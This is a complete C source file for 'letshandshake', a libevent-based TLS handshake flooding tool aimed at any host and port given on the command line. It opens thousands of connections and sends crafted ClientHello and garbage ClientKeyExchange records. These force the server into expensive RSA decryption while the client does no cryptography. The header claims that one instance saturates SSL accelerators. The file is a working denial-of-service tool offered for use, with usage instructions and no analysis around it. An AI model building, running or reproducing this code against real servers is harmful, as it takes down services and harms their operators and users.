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letshandshake.c
281 lines (254 loc) · 9.14 KB
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letshandshake.c
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/*
* @file: letshandshake.c
* @author: wanderer.as.me@gmail.com
* @date: 2016/06/01 14:16:03
* @brief:
* letshandshake needs to be linked with -levent_core from libevent2 library.
* letshandshake does *not* use or require:
* - Client-side cryptography,
* - Threads,
* - SSL session renegotiation.
* As the result single letshandshake can saturate a fast SSL accelerator.
* Disabling session renegotiation is also not an effective mitigation.
*/
#ifdef _WIN32
#define FD_SETSIZE 4096
#define __USE_W32_SOCKETS
#define _WIN32_WINNT 0x0501
#include <ws2tcpip.h>
#else
#include <sys/socket.h>
#include <netdb.h>
#endif
#include <event2/event.h>
#include <event2/bufferevent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <stddef.h>
#include <time.h>
#define MAX_FRAG 65536
typedef unsigned char byte;
typedef struct {
byte type;
byte version[2];
byte length[2];
} record;
static struct event_base *base;
static struct sockaddr *addr;
static int addr_len;
struct {
record rec; /* type 22 (handshake) */
struct {
byte type; /* 1 for client_hello */
byte length[3]; /* htons(sizeof client_hello) */
struct {
byte version[2]; /* 3.0 */
byte random_data[32];
byte session_id_length[1]; /* 0 */
byte cipher_suite_length[2]; /* htons(cipher_suite_list) */
byte cipher_suite_list[6]; /* some popular RSA-based ciphersuites */
byte compression_length[1]; /* 1 */
byte compression_list[1];
} client_hello;
} fragment;
} r1;
struct {
record rec; /* type 22 (handshake) */
struct client_key_exchange_fragment {
byte type; /* 16 for client_key_exchange */
byte length[3]; /* htons(sizeof client_key_exchange) */
byte client_key_exchange[512]; /* space for 2048 bits */
} fragment;
} r2;
struct {
record rec; /* type 20 (change_cipher_spec) */
struct {
byte type; /* 1 */
} fragment;
} r3;
struct {
record rec; /* type 22 (handshake) */
byte fragment[0x50]; /* finished */
} r4;
typedef struct {
union {
record rec;
byte frag[MAX_FRAG];
} buff;
int mode, rec_type, ptr, len;
} state;
static void setup_record(record *, const byte, const u_short);
static u_short rec_len(const record *);
static void read_cb(struct bufferevent *, void *);
static void write_cb(struct bufferevent *, void *);
static void event_cb(struct bufferevent *, short, void *);
static void new_connection(state *);
static void statistics(const int);
int main(int argc, char *argv[]) {
int i, clients, keysize, error;
struct addrinfo *result;
#ifdef _WIN32
static struct WSAData wsa_state;
#endif
char ip[40], port[6];
if(argc<5) {
fprintf(stderr, "Usage:\n\t%s host port keysize numclients\n", argv[0]);
fprintf(stderr, "Example:\n\t%s localhost 443 1024 100\n", argv[0]);
fprintf(stderr, "Key size can be retrieved with:\n");
fprintf(stderr, "\topenssl s_client -connect host:port");
fprintf(stderr, " </dev/zero 2>&1 |grep '^Server public key is '\n");
return 1;
}
#ifdef _WIN32
WSAStartup(MAKEWORD(2, 2), &wsa_state);
#endif
error=getaddrinfo(argv[1], argv[2], NULL, &result);
if(error) {
fprintf(stderr, "Error in getaddrinfo: %s\n", gai_strerror(error));
return 1;
}
addr_len=result->ai_addrlen;
addr=malloc(addr_len);
memcpy(addr, result->ai_addr, addr_len);
freeaddrinfo(result);
keysize=atoi(argv[3]);
if(keysize<1 || keysize>4096) {
fprintf(stderr, "Keysize is usually either 1024 or 2048\n");
return 1;
}
keysize=(keysize+7)/8; /* convert to number of bytes */
clients=atoi(argv[4]);
if(clients<1 || clients>10000) {
fprintf(stderr, "Number of clients should be a number between 1 and 10000\n");
return 1;
}
error=getnameinfo(addr, addr_len, ip, sizeof ip,
port, sizeof port, NI_NUMERICHOST|NI_NUMERICSERV);
if(error) {
fprintf(stderr, "getnameinfo: %s", gai_strerror(error));
return 1;
}
fprintf(stderr, "Let's Handshake ~ \n");
fprintf(stderr, "Squeezing %s:%s\n", ip, port);
setup_record(&r1.rec, 22, sizeof r1.fragment); /* handshake */
r1.fragment.type=1; /* client_hello */
r1.fragment.length[0]=0;
r1.fragment.length[1]=sizeof r1.fragment.client_hello>>8;
r1.fragment.length[2]=sizeof r1.fragment.client_hello&0xff;
r1.fragment.client_hello.version[0]=3;
r1.fragment.client_hello.version[1]=0;
r1.fragment.client_hello.session_id_length[0]=0;
r1.fragment.client_hello.cipher_suite_length[0]=0;
r1.fragment.client_hello.cipher_suite_length[1]=sizeof r1.fragment.client_hello.cipher_suite_list;
/* Cipher Suite List : https://www.thesprawl.org/research/tls-and-ssl-cipher-suites/ */
r1.fragment.client_hello.cipher_suite_list[0]=0x00;
r1.fragment.client_hello.cipher_suite_list[1]=0x0a; /* SSL_RSA_WITH_3DES_EDE_CBC_SHA */
r1.fragment.client_hello.cipher_suite_list[2]=0x00;
r1.fragment.client_hello.cipher_suite_list[3]=0x04; /* SSL_RSA_WITH_RC4_128_MD5 */
r1.fragment.client_hello.cipher_suite_list[4]=0x00;
r1.fragment.client_hello.cipher_suite_list[5]=0x2f; /* TLS_RSA_WITH_AES_128_CBC_SHA */
r1.fragment.client_hello.compression_length[0]=sizeof r1.fragment.client_hello.compression_list;
r1.fragment.client_hello.compression_list[0]=0;
setup_record(&r2.rec, 22, offsetof(struct client_key_exchange_fragment, client_key_exchange)+keysize); /* handshake */
r2.fragment.type=16; /* client_key_exchange */
r2.fragment.length[0]=0;
r2.fragment.length[1]=keysize>>8;
r2.fragment.length[2]=keysize&0xff;
#if 0
for(i=0; i<sizeof r2.fragment.client_key_exchange; ++i)
r2.fragment.client_key_exchange[i]=random();
#endif
setup_record(&r3.rec, 20, sizeof r3.fragment); /* change_cipher_spec */
r3.fragment.type=1;
setup_record(&r4.rec, 22, sizeof r4.fragment); /* handshake */
base=event_base_new();
for(i=0; i<clients; ++i)
new_connection(malloc(sizeof(state)));
event_base_dispatch(base);
return 0;
}
static void setup_record(record *rec, const byte type, const u_short size) {
rec->type=type;
rec->version[0]=3;
rec->version[1]=0;
rec->length[0]=size>>8;
rec->length[1]=size&0xff;
}
static u_short rec_len(const record *rec) {
return rec->length[0]<<8 | rec->length[1];
}
static void read_cb(struct bufferevent *bev, void *ctx) {
state *s=(state *)ctx;
int received, error=1;
for(;;) {
received=bufferevent_read(bev, s->buff.frag+s->ptr, s->len);
if(received<=0) /* no data buffered */
return;
s->ptr+=received;
s->len-=received;
if(s->len) /* not enough data buffered */
return;
s->ptr=0;
s->mode^=1;
if(s->mode) { /* finished reading record header */
s->len=rec_len(&s->buff.rec);
if(s->len<1 || s->len>MAX_FRAG)
break;
s->rec_type=s->buff.rec.type;
} else { /* finished reading record fragment */
s->len=sizeof(record);
if(s->rec_type==22 && s->buff.frag[0]==2) {
/* handshake message type 2 (server_hello) */
bufferevent_write(bev, &r2, rec_len(&r2.rec)+sizeof(record));
bufferevent_write(bev, &r3, rec_len(&r3.rec)+sizeof(record));
bufferevent_write(bev, &r4, rec_len(&r4.rec)+sizeof(record));
}
if(s->rec_type==21 && s->buff.frag[0]==2 && s->buff.frag[1]==20) {
error=0; /* fatal alert 20 (bad_record_mac) */
break;
}
}
}
bufferevent_free(bev);
new_connection(ctx);
statistics(error);
}
static void write_cb(struct bufferevent *bev, void *ctx) {
bufferevent_enable(bev, EV_READ);
}
static void event_cb(struct bufferevent *bev, short events, void *ctx) {
if(events&BEV_EVENT_CONNECTED) {
bufferevent_write(bev, &r1, rec_len(&r1.rec)+sizeof(record));
return;
}
bufferevent_free(bev);
new_connection(ctx);
statistics(1);
}
static void new_connection(state *s) {
struct bufferevent *bev;
struct timeval timeout={3, 0}; /* 3 seconds */
s->mode=0;
s->ptr=0;
s->len=sizeof(record);
bev=bufferevent_socket_new(base, -1, BEV_OPT_CLOSE_ON_FREE);
bufferevent_set_timeouts(bev, &timeout, &timeout);
bufferevent_setcb(bev, read_cb, write_cb, event_cb, s);
bufferevent_socket_connect(bev, addr, addr_len);
}
static void statistics(const int err) {
static time_t old_time;
time_t new_time;
static int stats[2]={0, 0};
++stats[err];
new_time=time(NULL);
if(new_time==old_time)
return;
old_time=new_time;
printf("Succeeded: %-10dFailed: %-10d\r", stats[0], stats[1]);
fflush(stdout);
stats[0]=stats[1]=0;
}
/* end of letshandshake.c */